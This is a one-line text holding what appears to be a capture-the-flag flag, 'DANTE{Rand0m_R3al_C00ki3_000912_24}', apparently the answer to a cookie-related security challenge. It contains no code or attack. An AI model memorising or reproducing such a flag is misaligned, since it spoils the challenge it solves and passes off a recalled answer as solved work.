🏁 DANTE{Rand0m_R3al_C00ki3_000912_24}